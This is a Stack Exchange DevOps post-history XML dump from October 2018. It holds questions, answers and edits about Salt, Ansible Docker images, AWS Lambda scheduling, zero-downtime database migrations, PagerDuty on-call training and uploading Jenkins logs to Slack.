  <row Id="16550" PostHistoryTypeId="5" PostId="1133" RevisionGUID="83592a1e-3525-46a0-80f0-3d7caed93f17" CreationDate="2018-10-20T17:06:29.940" UserId="40" Comment="added 3 characters in body; edited title" Text="Say I have a Powershell script, named `test.ps1`, that has this:&#xD;&#xA;&#xD;&#xA;    $VariableForPillar = 5 &#xD;&#xA;&#xD;&#xA;I can call it from a Salt state with -&#xD;&#xA;&#xD;&#xA;    test powershell run:&#xD;&#xA;     cmd.run:&#xD;&#xA;       - name: 'C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe  -ExecutionPolicy ByPass -File  d:/tmp/Powershell/test.ps1'&#xD;&#xA;&#xD;&#xA;But what can I do to retrieve that value and insert it into a Pillar (or a Mine)?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16551" PostHistoryTypeId="4" PostId="1133" RevisionGUID="83592a1e-3525-46a0-80f0-3d7caed93f17" CreationDate="2018-10-20T17:06:29.940" UserId="40" Comment="added 3 characters in body; edited title" Text="How to insert a minion Powershell variable into Salt Pillar or Mine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16552" PostHistoryTypeId="2" PostId="5224" RevisionGUID="3e23baf7-2b81-4c5f-bd54-3c2f681ff1ad" CreationDate="2018-10-20T18:41:36.610" UserId="10433" Text="**Question** &#xD;&#xA;&#xD;&#xA;Does anyone have experience with Database Backward Compatibility to achieve Zero Downtime Deployment? Are there good links or references that I can read?&#xD;&#xA;&#xD;&#xA;**Reason**&#xD;&#xA;&#xD;&#xA;I am working with a monolithic application where the code base is tightly coupled with the database. Because of this, when we want to do deployment (weekly), we have to work after business hours. &#xD;&#xA;&#xD;&#xA;**Goal**&#xD;&#xA;&#xD;&#xA;What I am trying to achieve is the ability to implement blue-green deployment where the old code is compatible with the new version of the database - and vice versa. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16553" PostHistoryTypeId="1" PostId="5224" RevisionGUID="3e23baf7-2b81-4c5f-bd54-3c2f681ff1ad" CreationDate="2018-10-20T18:41:36.610" UserId="10433" Text="Zero Downtime Deployment with Database Backward Compatibility" ContentLicense="CC BY-SA 4.0" />
  <row Id="16554" PostHistoryTypeId="3" PostId="5224" RevisionGUID="3e23baf7-2b81-4c5f-bd54-3c2f681ff1ad" CreationDate="2018-10-20T18:41:36.610" UserId="10433" Text="&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16555" PostHistoryTypeId="2" PostId="5225" RevisionGUID="24efb49d-90ba-4eb1-b92c-df5a2bd58991" CreationDate="2018-10-20T23:14:44.170" UserId="7772" Text="    $ docker pull ansible/ansible&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    Error response from daemon: manifest for ansible/ansible:latest not found&#xD;&#xA;&#xD;&#xA;I try and get started with ansible but I get the above error message trying to pull the Docker image. Is it broken or am I doing something wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16556" PostHistoryTypeId="1" PostId="5225" RevisionGUID="24efb49d-90ba-4eb1-b92c-df5a2bd58991" CreationDate="2018-10-20T23:14:44.170" UserId="7772" Text="Cannot pull ansible docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="16557" PostHistoryTypeId="3" PostId="5225" RevisionGUID="24efb49d-90ba-4eb1-b92c-df5a2bd58991" CreationDate="2018-10-20T23:14:44.170" UserId="7772" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16558" PostHistoryTypeId="2" PostId="5226" RevisionGUID="2c2f72f4-7317-4210-a5d3-4d3a2771bf50" CreationDate="2018-10-21T00:38:34.660" UserId="7772" Text="I have deployed an AWS Lambda with Python 3.6 and CloudFormation executing a scheduled task which writes a JSON file once a minute to an S3 bucket. Now I wonder if this is a good way of doing it, or if an automation tool such as Ansible would be better suited for the task?&#xD;&#xA;&#xD;&#xA;The background is that I am developing a PoC for data analysis. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16559" PostHistoryTypeId="1" PostId="5226" RevisionGUID="2c2f72f4-7317-4210-a5d3-4d3a2771bf50" CreationDate="2018-10-21T00:38:34.660" UserId="7772" Text="Choice for scheduled task in AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="16560" PostHistoryTypeId="3" PostId="5226" RevisionGUID="2c2f72f4-7317-4210-a5d3-4d3a2771bf50" CreationDate="2018-10-21T00:38:34.660" UserId="7772" Text="&lt;ansible&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16561" PostHistoryTypeId="2" PostId="5227" RevisionGUID="c6025b28-86ef-4081-942f-4c172341b49a" CreationDate="2018-10-21T01:52:50.543" UserId="4011" Text="If run you `docker pull &lt;image&gt;`, you are implicitly asking for a tag named `latest`.  There is no such tag available from the Ansible repository.  You can see a list of available tags at https://hub.docker.com/r/ansible/ansible/tags/.&#xD;&#xA;&#xD;&#xA;For example, if you wanted the `fedora27py3` version of the image, you would run:&#xD;&#xA;&#xD;&#xA;    docker pull ansible/ansible:fedora27py3&#xD;&#xA;&#xD;&#xA;I note that the most recent of thoses images is 7 months old. If you're experimenting iwth Ansible you might want to just install it into a Python virtual environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="16562" PostHistoryTypeId="2" PostId="5228" RevisionGUID="26b165d8-90bd-4a95-99c8-3aa4971ad8e7" CreationDate="2018-10-21T06:10:22.207" UserId="6" Text="CloudFormation by itself has no way to schedule execution every minute. CloudFormation is great to create AWS resources, like Lambda, but not execute them.&#xD;&#xA;&#xD;&#xA;There is another facility in AWS that allows scheduling execution of Lambda functions, it is called “CloudWatch Events”. You can set it to run the Lambda every minute, and you can create the rule for CWE using CloudFormation.&#xD;&#xA;&#xD;&#xA;Ansible is similar to CloudFormation in this regard, it can create resources - but has no mechanism to do scheduled executions, only setup some other resource to execute on a schedule." ContentLicense="CC BY-SA 4.0" />
  <row Id="16563" PostHistoryTypeId="2" PostId="5229" RevisionGUID="3528dc84-e5e4-4c90-9bb2-407e032a7314" CreationDate="2018-10-21T06:23:31.663" UserId="6" Text="There is plenty of information about this. The basic idea goes like so -&#xD;&#xA;&#xD;&#xA;Create a script that does the database mogration, but make sure that it only adds tables and fiels - never removes, renames, or chanhes the type of existing tables or fields.&#xD;&#xA;&#xD;&#xA;The new version of the application will start using the new tables/fields, when it is an existing field from the previous version that needed a change - the app must continue the previous version as it used to, and start using the new version as well.&#xD;&#xA;&#xD;&#xA;In some cases, before the newly created field can be used it needs to be populated based on the previous field - the application can do this when it first starts.&#xD;&#xA;&#xD;&#xA;If some functionality depends on the bew field, and it is not yet ready, opening it to users can be hidden behind a feature flag that is toggled when ready to expose the new functionality.&#xD;&#xA;&#xD;&#xA;When yet another version is released, the application can finally stop writing to the old field you were using and start uaing the new field exclusively.&#xD;&#xA;&#xD;&#xA;The above mostly explains what happens when fields need to be renamed or type changed. For new tables or fields it is much simpler aince the existing version is not using these." ContentLicense="CC BY-SA 4.0" />
  <row Id="16564" PostHistoryTypeId="4" PostId="803" RevisionGUID="5cea275f-8804-4ee4-b1f2-96850525877b" CreationDate="2018-10-21T08:00:15.377" UserId="40" Comment="edited title" Text="How to include a custom Slack message only on completion?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16565" PostHistoryTypeId="5" PostId="798" RevisionGUID="c5d415f1-e504-4e06-95ae-0948f8b0256c" CreationDate="2018-10-21T08:02:27.763" UserId="40" Comment="Integrate comments from OPer " Text="We capture our applications release by using commits from source code management, new package into the artifactory system etc.,&#xD;&#xA;&#xD;&#xA;How can we capture my tools release from vendor so that I will trigger my upgrade script to upgrade my tools itself, for ex: upgrading Jenkins whenever new release available from Jenkins itself?&#xD;&#xA;&#xD;&#xA;List of tools am expecting to upgrade:&#xD;&#xA;&#xD;&#xA;    1. Jenkins&#xD;&#xA;    2. GitHub Enterprise&#xD;&#xA;    3. Atlassian Jira&#xD;&#xA;    4. Atlassian Bamboo&#xD;&#xA;    5. Atlassian BitBucket Server&#xD;&#xA;&#xD;&#xA;Basically, continuous deployment(with proper pipeline including testing) to production without human interaction for these tools.&#xD;&#xA;&#xD;&#xA;Note: I am looking for some example, my requirement is for more than 10 tools. So for Jenkins, it will be Linux and Ubuntu." ContentLicense="CC BY-SA 4.0" />
  <row Id="16566" PostHistoryTypeId="2" PostId="5230" RevisionGUID="6dd30861-6091-4e55-b1dc-3692e3a59f0c" CreationDate="2018-10-21T09:09:23.060" UserId="739" Text="[[ Based on tags and the wording this sounds like a PagerDuty-specific question, but it could apply to any tech or [tag:monitoring] stack in my mind.... PagerDuty is just so dominant in SF-based jobs I've seen that is like Kleenex.... ]]&#xD;&#xA;&#xD;&#xA;I've been searching in my spare time for a few months for an answer to: **what do you tell a new recruit to pager duty** (or PagerDuty or [tag:pagerduty])???  And I don't mainly mean &quot;install the app and prey&quot;, but those are key parts of it.  I'm more looking for generic advice like:&#xD;&#xA;&#xD;&#xA;* ask for help as early as possible&#xD;&#xA;* don't go sleep deprived &quot;too&quot; many nights in a row `~3`&#xD;&#xA;* know who to call for what subsystem&#xD;&#xA;* know who is likely to answer with low latency and who will notice work again at Monday 9am `DOH!`&#xD;&#xA;* it is easier to find answer on StackExchange than random forums at 3am `free plug`&#xD;&#xA;* triage: how big of a fire is it?  how many fire trucks do you call in?  Etc.&#xD;&#xA;* when to merge incidents&#xD;&#xA;* when to snooze incidents... but that is so scary!!  *Nobody warned me that I would have to snooze at this job too!*  `hahaha.`&#xD;&#xA;* good notification settings (how do so many hose this so much, omg??)&#xD;&#xA;* good phone/volume settings for getting woken up, even if you sleep like a log.&#xD;&#xA;* scheduling and calendar layers&#xD;&#xA;&#xD;&#xA;Maybe I'm searching wrong.  I'm open to meta-suggestions for better ways to find this needle in the haystack.  Searching for &quot;starting pagerduty&quot; makes sense to me, but it gets results of how to setup these things programmatically or technically, not how to instruct the humans in dealing with sorts of things.&#xD;&#xA;&#xD;&#xA;I've actually already turned this question into an internal class.  I'm happy to get permission from management to share my fun version of this after I pull out the proprietary bits.  I'm still holding out for it having been done at some point before and I'm just too lazy to go that far into the search results.  :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16567" PostHistoryTypeId="1" PostId="5230" RevisionGUID="6dd30861-6091-4e55-b1dc-3692e3a59f0c" CreationDate="2018-10-21T09:09:23.060" UserId="739" Text="What do you tell a new recruit to PagerDuty?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16568" PostHistoryTypeId="3" PostId="5230" RevisionGUID="6dd30861-6091-4e55-b1dc-3692e3a59f0c" CreationDate="2018-10-21T09:09:23.060" UserId="739" Text="&lt;monitoring&gt;&lt;pagerduty&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16569" PostHistoryTypeId="6" PostId="5230" RevisionGUID="2e4b6af8-1f8d-424f-a9d2-572c9b9f029f" CreationDate="2018-10-21T09:14:37.113" UserId="739" Comment="edited tags" Text="&lt;monitoring&gt;&lt;pagerduty&gt;&lt;training&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16570" PostHistoryTypeId="2" PostId="5231" RevisionGUID="f0ab4ab9-6b7e-49ee-a659-fdf58d3a8337" CreationDate="2018-10-21T09:17:03.763" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16571" PostHistoryTypeId="1" PostId="5231" RevisionGUID="f0ab4ab9-6b7e-49ee-a659-fdf58d3a8337" CreationDate="2018-10-21T09:17:03.763" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16572" PostHistoryTypeId="2" PostId="5232" RevisionGUID="81460b41-5349-4e54-92b1-71b8b44c3ced" CreationDate="2018-10-21T09:17:03.763" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16573" PostHistoryTypeId="1" PostId="5232" RevisionGUID="81460b41-5349-4e54-92b1-71b8b44c3ced" CreationDate="2018-10-21T09:17:03.763" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16574" PostHistoryTypeId="5" PostId="5230" RevisionGUID="1d6d7129-5c30-4d61-915d-3394a59646ad" CreationDate="2018-10-21T10:17:35.750" UserId="739" Comment="added 222 characters in body; edited title" Text="[[ Based on tags and the wording this sounds like a PagerDuty-specific question, but it could apply to any tech or [tag:monitoring] stack in my mind.... PagerDuty is just so dominant in SF-based jobs I've seen that is like tech Kleenex.... ]]&#xD;&#xA;&#xD;&#xA;I've been searching in my spare time for a few months for an answer to: **what do you tell a new recruit to pager duty** (or PagerDuty or [tag:pagerduty])???  And I don't mainly mean &quot;install the app and prey&quot;, but those are key parts of it.  I'm more looking for generic advice like:&#xD;&#xA;&#xD;&#xA;* ask for help as early as possible&#xD;&#xA;* don't go sleep deprived &quot;too&quot; many nights in a row `~3`&#xD;&#xA;* know who to call for what subsystem&#xD;&#xA;* know who is likely to answer with low latency and who will notice work again at Monday 9am `DOH!`&#xD;&#xA;* it is easier to find answer on StackExchange than random forums at 3am `free plug`&#xD;&#xA;* triage: how big of a fire is it?  how many fire trucks do you call in?  Etc.&#xD;&#xA;* when to merge incidents&#xD;&#xA;* when to snooze incidents... but that is so scary!!  *Nobody warned me that I would have to snooze at this job too!*  `hahaha.`&#xD;&#xA;* good notification settings (how do so many hose this so much, omg??)&#xD;&#xA;* good phone/volume settings for getting woken up, even if you sleep like a log.&#xD;&#xA;* scheduling and calendar layers&#xD;&#xA;* rules of thumb and recommended tools&#xD;&#xA;&#xD;&#xA;Maybe I'm searching wrong.  I'm open to meta-suggestions for better ways to find this needle in the haystack.  Searching for &quot;starting pagerduty&quot; makes sense to me, but it gets results of how to setup these things programmatically or technically, not how to instruct the humans in dealing with sorts of things.  [PagerDuty does try](https://support.pagerduty.com/docs/quick-start-guide) to address this, but it doesn't include the breadth of responsibilities that the job entails to me. &#xD;&#xA;&#xD;&#xA;I've actually already turned this question into an internal class.  I'm happy to get permission from management to share my fun version of this after I pull out the proprietary bits.  I'm still holding out for it having been done at some point before and I'm just too lazy to go that far into the search results.  :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16575" PostHistoryTypeId="4" PostId="5230" RevisionGUID="1d6d7129-5c30-4d61-915d-3394a59646ad" CreationDate="2018-10-21T10:17:35.750" UserId="739" Comment="added 222 characters in body; edited title" Text="What do you tell a new recruit to PagerDuty/oncall?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16576" PostHistoryTypeId="5" PostId="5232" RevisionGUID="3c0af1f8-30f3-4f6c-b472-403e603027d3" CreationDate="2018-10-21T10:47:59.953" UserId="739" Comment="added 51 characters in body" Text="Teaching newbies how to become DevOps or SRE folks." ContentLicense="CC BY-SA 4.0" />
  <row Id="16577" PostHistoryTypeId="24" PostId="5232" RevisionGUID="3c0af1f8-30f3-4f6c-b472-403e603027d3" CreationDate="2018-10-21T10:47:59.953" Comment="Proposed by 739 approved by 40, 228 edit id of 822" ContentLicense="CC BY-SA 4.0" />
  <row Id="16578" PostHistoryTypeId="5" PostId="5231" RevisionGUID="31bd8dc3-ba04-4d67-af49-01676dd479cc" CreationDate="2018-10-21T10:48:02.313" UserId="739" Comment="added 530 characters in body" Text="Teaching new recruiters to IT operations how to become DevOps or SRE folks.&#xD;&#xA;&#xD;&#xA;* overall definition: https://en.wikipedia.org/wiki/Training&#xD;&#xA;&#xD;&#xA;According to https://trainingindustry.com/wiki/it-and-technical-training/it-training/ :: &#xD;&#xA;&gt; IT Training is specific to the Information Technology (IT) industry, or to the skills necessary for performing information technology jobs. IT training includes courses related to the application, design, development, implementation, support or management of computer-based information systems." ContentLicense="CC BY-SA 4.0" />
  <row Id="16579" PostHistoryTypeId="24" PostId="5231" RevisionGUID="31bd8dc3-ba04-4d67-af49-01676dd479cc" CreationDate="2018-10-21T10:48:02.313" Comment="Proposed by 739 approved by 40, 228 edit id of 821" ContentLicense="CC BY-SA 4.0" />
  <row Id="16580" PostHistoryTypeId="5" PostId="5230" RevisionGUID="bd2cceb5-176f-474d-adfa-8c035ab68017" CreationDate="2018-10-21T17:59:53.037" UserId="739" Comment="less bitchy" Text="[[ Based on tags and the wording this sounds like a PagerDuty-specific question, but it could apply to any tech or [tag:monitoring] stack in my mind.... PagerDuty is just so dominant in SF-based jobs I've seen that is like tech Kleenex.... ]]&#xD;&#xA;&#xD;&#xA;I've been searching in my spare time for a few months for an answer to: **what do you tell a new recruit to pager duty** (or PagerDuty or [tag:pagerduty])???  And I don't mainly mere &quot;install the app and prey&quot; [tag:training], but those are key parts of it.  I'm more looking for generic, general, globalizable advice like:&#xD;&#xA;&#xD;&#xA;* ask for help as early as possible&#xD;&#xA;* don't go sleep deprived &quot;too&quot; many nights in a row `~3`&#xD;&#xA;* know who to call for what subsystem&#xD;&#xA;* know who is likely to answer with low latency and who will notice work again at Monday 9am `DOH!`&#xD;&#xA;* it is easier to find answer on StackExchange than random forums at 3am `free plug`&#xD;&#xA;* triage: how big of a fire is it?  how many fire trucks do you call in?  Etc.&#xD;&#xA;* when to merge incidents&#xD;&#xA;* when to snooze incidents... but that is so scary!!  &quot;*You don't get fired for snoozing here?*&quot;  `hahaha.`&#xD;&#xA;* good notification settings&#xD;&#xA;* good phone/volume settings for getting woken up, even if you sleep like a log.&#xD;&#xA;* scheduling and calendar layers&#xD;&#xA;* rules of thumb and recommended tools&#xD;&#xA;&#xD;&#xA;Maybe I'm searching wrong.  I'm open to meta-suggestions for better ways to find this needle in the haystack.  Searching for &quot;starting pagerduty&quot; makes sense to me, but it gets results of how to setup these things programmatically or technically, not how to instruct the humans in dealing with sorts of things.  [PagerDuty does try](https://support.pagerduty.com/docs/quick-start-guide) to address this, but it doesn't include the breadth of responsibilities that the job entails to me.&#xD;&#xA;&#xD;&#xA;I also admit that I'm asking for everything and the kitchen sink and the city water supply for a bonus round.  Getting little pieces of this as links and pointing folks at it would be a huge improvement over what I've found so far.  I doubt anybody has done all of this in one doc or would ever want to do so.&#xD;&#xA;&#xD;&#xA;I've actually already turned this question into an internal class.  I'm happy to get permission from management to share my fun version of this after I pull out the proprietary bits.  I'm still holding out for it having been done at some point before and I'm just too lazy to go that far into the search results.  :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16581" PostHistoryTypeId="5" PostId="5230" RevisionGUID="ece062fc-d0e1-40f3-b1d6-481d05af9f67" CreationDate="2018-10-21T18:05:21.820" UserId="739" Comment="less bitchy" Text="[[ Based on tags and the wording this sounds like a PagerDuty-specific question, but it could apply to any tech or [tag:monitoring] stack in my mind.... PagerDuty is just so dominant in SF-based jobs I've seen that is like tech Kleenex.... ]]&#xD;&#xA;&#xD;&#xA;I've been searching in my spare time for a few months for an answer to: **what do you tell a new recruit to pager duty** (or PagerDuty or [tag:pagerduty])???  And I don't mainly mere &quot;install the app and prey&quot; [tag:training], but those are key parts of it.  I'm more looking for generic, general, globalizable advice like:&#xD;&#xA;&#xD;&#xA;* ask for help as early as possible&#xD;&#xA;* don't go sleep deprived &quot;too&quot; many nights in a row `~3`&#xD;&#xA;* know who is likely to answer with low latency and who will notice work again at Monday 9am `DOH!`&#xD;&#xA;* it is easier to find answer on StackExchange than random forums at 3am `free plug`&#xD;&#xA;* triage: how big of a fire is it?  how many fire trucks do you call in?  Etc.&#xD;&#xA;* when to merge incidents&#xD;&#xA;* when to snooze incidents... but that is so scary!!  &quot;*You don't get fired for snoozing here?*&quot;  `hahaha.`&#xD;&#xA;* good notification settings&#xD;&#xA;* good phone/volume settings for getting woken up, even if you sleep like a log.&#xD;&#xA;* scheduling and calendar layers&#xD;&#xA;* rules of thumb and recommended tools&#xD;&#xA;* know who to call for what subsystem (varies based on locality and org) but using a wiki or Confluence is often part of that&#xD;&#xA;&#xD;&#xA;Maybe I'm searching wrong.  I'm open to meta-suggestions for better ways to find this needle in the haystack.  Searching for &quot;starting pagerduty&quot; makes sense to me, but it gets results of how to setup these things programmatically or technically, not how to instruct the humans in dealing with sorts of things.  [PagerDuty does try](https://support.pagerduty.com/docs/quick-start-guide) to address this, but it doesn't include the breadth of responsibilities that the job entails to me.&#xD;&#xA;&#xD;&#xA;I also admit that I'm asking for everything and the kitchen sink and the city water supply for a bonus round.  Getting little pieces of this as links and pointing folks at it would be a huge improvement over what I've found so far.  I doubt anybody has done all of this in one doc or would ever want to do so.&#xD;&#xA;&#xD;&#xA;I've actually already turned this question into an internal class.  I'm happy to get permission from management to share my fun version of this after I pull out the proprietary bits.  I'm still holding out for it having been done at some point before and I'm just too lazy to go that far into the search results.  :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16582" PostHistoryTypeId="50" PostId="4157" RevisionGUID="19bde7ea-67b5-43ce-a9f1-511dd6344f6a" CreationDate="2018-10-21T19:00:05.077" UserId="-1" />
  <row Id="16583" PostHistoryTypeId="10" PostId="5160" RevisionGUID="d0d26508-4474-479a-903d-ed76109b3f8f" CreationDate="2018-10-22T05:03:49.717" UserId="46" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:4328,&quot;DisplayName&quot;:&quot;PrestonM&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="16584" PostHistoryTypeId="5" PostId="5223" RevisionGUID="558218e9-333b-4449-b548-c66fbb28afd2" CreationDate="2018-10-22T05:04:03.487" UserId="40" Comment="added 77 characters in body" Text="For questions about Sensu, which is an open source monitoring event pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="16585" PostHistoryTypeId="24" PostId="5223" RevisionGUID="558218e9-333b-4449-b548-c66fbb28afd2" CreationDate="2018-10-22T05:04:03.487" Comment="Proposed by 40 approved by 228, 46 edit id of 820" ContentLicense="CC BY-SA 4.0" />
  <row Id="16586" PostHistoryTypeId="5" PostId="5222" RevisionGUID="6d675b35-c53f-4b2e-a266-fc8b0c497420" CreationDate="2018-10-22T05:04:06.963" UserId="40" Comment="added 345 characters in body" Text="*Sensu* is an open source monitoring event pipeline.&#xD;&#xA;&#xD;&#xA;**Recommended Resources**:&#xD;&#xA;&#xD;&#xA;- [Official website][1].&#xD;&#xA;- [Sensu Documentation][2].&#xD;&#xA;- [Download Sensu][3].&#xD;&#xA;&#xD;&#xA;**Related tags**: [tag:monitoring] [tag:jenkins] [tag:kubernetes] [tag:aws]&#xD;&#xA;&#xD;&#xA;  [1]: https://sensu.io/&#xD;&#xA;  [2]: https://docs.sensu.io/&#xD;&#xA;  [3]: https://sensu.io/features/downloads" ContentLicense="CC BY-SA 4.0" />
  <row Id="16587" PostHistoryTypeId="24" PostId="5222" RevisionGUID="6d675b35-c53f-4b2e-a266-fc8b0c497420" CreationDate="2018-10-22T05:04:06.963" Comment="Proposed by 40 approved by 228, 46 edit id of 819" ContentLicense="CC BY-SA 4.0" />
  <row Id="16591" PostHistoryTypeId="5" PostId="5229" RevisionGUID="c3d64a0c-9770-4ac9-aac1-336c94017ea0" CreationDate="2018-10-22T07:54:46.077" UserId="6" Comment="fix typos" Text="There is plenty of information about this. The basic idea goes like so -&#xD;&#xA;&#xD;&#xA;Create a script that does the database migration, but make sure that it only adds tables and fields - never removes, renames, or changes the type of existing tables or fields.&#xD;&#xA;&#xD;&#xA;The new version of the application will start using the new tables/fields when it is an existing field from the previous version that needed a change - the app must continue the previous version as it used to, and start using the new version as well.&#xD;&#xA;&#xD;&#xA;In some cases, before the newly created field can be used it needs to be populated based on the previous field - the application can do this when it first starts.&#xD;&#xA;&#xD;&#xA;If some functionality depends on the new field, and it is not yet ready, opening it to users can be hidden behind a feature flag that is toggled when ready to expose the new functionality.&#xD;&#xA;&#xD;&#xA;When yet another version is released, the application can finally stop writing to the old field you were using and start using the new field exclusively.&#xD;&#xA;&#xD;&#xA;The above mostly explains what happens when fields need to be renamed or type changed. For new tables or fields, it is much simpler since the existing version is not using these." ContentLicense="CC BY-SA 4.0" />
  <row Id="16592" PostHistoryTypeId="50" PostId="3421" RevisionGUID="98c2c898-7157-4afc-943b-b8333b72ab9d" CreationDate="2018-10-22T08:01:01.590" UserId="-1" />
  <row Id="16594" PostHistoryTypeId="50" PostId="4795" RevisionGUID="7a5e442c-5b2f-4f9d-aa19-4778a6a8bf70" CreationDate="2018-10-22T09:00:56.967" UserId="-1" />
  <row Id="16595" PostHistoryTypeId="2" PostId="5234" RevisionGUID="c883b907-7bc1-464f-8667-7c40a408dbcf" CreationDate="2018-10-22T09:25:55.733" UserId="10393" Text="I figured out by myself, there is no plugin needed.  &#xD;&#xA;`build.sh &amp;&gt; /dev/stdout | tee jenkins.txt`&#xD;&#xA;and then . &#xD;&#xA;&#xD;&#xA;`curl -F file=@jenkins.txt -F channels=yourchannel -H &quot;Authorization: Bearer your token&quot; https://slack.com/api/files.upload` . &#xD;&#xA;&#xD;&#xA;there is no '#' needed for slack channel and channel should not be private. And if use .&#xD;&#xA;&#xD;&#xA;`buils.sh | tee jenkins.log` then you can't get the log from stderr." ContentLicense="CC BY-SA 4.0" />
  <row Id="16596" PostHistoryTypeId="5" PostId="5205" RevisionGUID="9fc0c40c-48c5-402d-817e-b43d439dd58a" CreationDate="2018-10-22T09:26:58.567" UserId="10393" Comment="added 46 characters in body" Text="I know how to notify build status using the slack notification plugin. I can see`project - #buildnumber Success after 1 min 18 sec (Open)` in my slack channel. But I want the console output to be sent to slack as well (upon failure) instead of a link. I am using free style project since I need some scripts to build my project. The purpose is that I want engineers to know the result of their build without granting them Jenkins access.&#xD;&#xA;&#xD;&#xA;##edit:&#xD;&#xA;if console log can be uploaded as a text, would be also good. Other forms of 'output' would be welcome as well.&#xD;&#xA;&#xD;&#xA;##new edit:&#xD;&#xA;I found the answer by myself." ContentLicense="CC BY-SA 4.0" />
  <row Id="16598" PostHistoryTypeId="50" PostId="5029" RevisionGUID="a9048545-b19a-4aa7-9161-1263170e37ea" CreationDate="2018-10-22T13:01:10.137" UserId="-1" />
  <row Id="16599" PostHistoryTypeId="50" PostId="4800" RevisionGUID="0793e917-7d56-4c4f-9a1b-321fb186ff31" CreationDate="2018-10-22T15:00:29.940" UserId="-1" />
  <row Id="16600" PostHistoryTypeId="50" PostId="3715" RevisionGUID="74f2ae0a-1b7c-4865-8fe6-b36a4a31c93a" CreationDate="2018-10-22T16:00:43.283" UserId="-1" />
  <row Id="16605" PostHistoryTypeId="4" PostId="4273" RevisionGUID="f7d96f7a-c426-4f7f-8b0d-f2fd26179e25" CreationDate="2018-10-22T16:48:32.480" UserId="354" Comment="trying to reflect what the post is saying, in the title." Text="How to properly automate CM based on log events?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16606" PostHistoryTypeId="24" PostId="4273" RevisionGUID="f7d96f7a-c426-4f7f-8b0d-f2fd26179e25" CreationDate="2018-10-22T16:48:32.480" Comment="Proposed by 354 approved by -1 edit id of 824" ContentLicense="CC BY-SA 4.0" />
  <row Id="16607" PostHistoryTypeId="5" PostId="4273" RevisionGUID="f2d8cfdb-9439-4c8f-9f95-9cc8e384329b" CreationDate="2018-10-22T16:48:32.480" UserId="40" Comment="edited body" Text="Let's say I have a number of tools like Docker bench security, some static security scanners, etc. Now I have let's say free Ansible edition (no expenses are considered).&#xD;&#xA;&#xD;&#xA;I have lots of logs, but not much automated, actionable info that triggers scripts. What is a proper way to automate link between static scanners and CM tools like Ansible and Jenkins? &#xD;&#xA;&#xD;&#xA;Should it go like:&#xD;&#xA;&#xD;&#xA;1. Parse logs for set of errors and then automatically trigger &quot;correcting scripts&quot;?&#xD;&#xA;2. Just run a playbook once in a while as it checks the state before doing anything?&#xD;&#xA;3. Use tools/plugins for Ansible?&#xD;&#xA;4. Something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16608" PostHistoryTypeId="50" PostId="3722" RevisionGUID="a1c642c0-f5e1-4b37-a483-2840ad9ff41f" CreationDate="2018-10-22T20:00:36.977" UserId="-1" />
  <row Id="16609" PostHistoryTypeId="50" PostId="4586" RevisionGUID="530fb82d-5bdf-4557-869c-1c335058ce2e" CreationDate="2018-10-23T02:00:02.723" UserId="-1" />
  <row Id="16610" PostHistoryTypeId="2" PostId="5236" RevisionGUID="11fa0920-e280-4d75-a01a-fb078e2d4d53" CreationDate="2018-10-23T05:49:06.553" UserId="10445" Text="I am considering using https://access.redhat.com/containers/#/registry.access.redhat.com/rhel7 as a base image for my Dockerfile instead of getting some random image in DockerHub. The main reason is the vetting process the images undergo.&#xD;&#xA;&#xD;&#xA;Once any additional dependencies are installed, the resulting image will be pushed to a private Docker Hub repository. Is this a valid process or is there a disadvantage that I've missed?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16611" PostHistoryTypeId="1" PostId="5236" RevisionGUID="11fa0920-e280-4d75-a01a-fb078e2d4d53" CreationDate="2018-10-23T05:49:06.553" UserId="10445" Text="Using Red Hat Docker image as base image" ContentLicense="CC BY-SA 4.0" />
  <row Id="16612" PostHistoryTypeId="3" PostId="5236" RevisionGUID="11fa0920-e280-4d75-a01a-fb078e2d4d53" CreationDate="2018-10-23T05:49:06.553" UserId="10445" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
